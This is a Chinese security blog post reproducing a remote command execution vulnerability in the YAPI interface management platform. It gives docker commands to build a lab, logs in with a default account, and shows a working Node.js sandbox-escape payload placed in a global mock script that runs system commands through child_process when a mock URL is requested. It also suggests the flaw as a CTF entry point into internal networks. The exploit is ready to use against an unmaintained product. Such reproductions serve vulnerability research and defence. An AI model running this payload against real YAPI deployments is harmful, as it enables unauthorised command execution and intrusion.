YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
利用docker 来搭建漏洞环境,docker yyds
# 获取 Yapi 镜像,版本信息可在 阿里云镜像仓库 查看
sudo docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
# 创建挂载目录
sudo mkdir -p /data/yapi/mongodata
# 运行专用mongo
sudo docker run --restart always -v /data/yapi/mongodata:/data/db -d --name yapimongo mongo
# 初始化 Yapi 数据库索引及管理员账号
sudo docker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
# 启动 Yapi 服务
sudo docker run -d --restart=always --name yapi --link yapimongo:mongo --workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js
安装启动成功之后访问
访问 http://localhost:3000 登录账号 [email protected],密码 ymfe.org
利用已知账号登录 Yapi
添加项目
选择设置,设置 全局mock脚本
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
此时需要添加一个接口
访问 Mock 地址 http://192.168.153.131:3000/mock/11/testing 就可以看到命令执行成功
似乎比较好的修复建议就是禁用掉注册功能,因为Yapi已经并不维护更新了,所以可以尝试在出CTF 题目时,结合弱口令以及命令执行,作为进入内网的一个突破口。
本文作者:Whippet
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/162502.html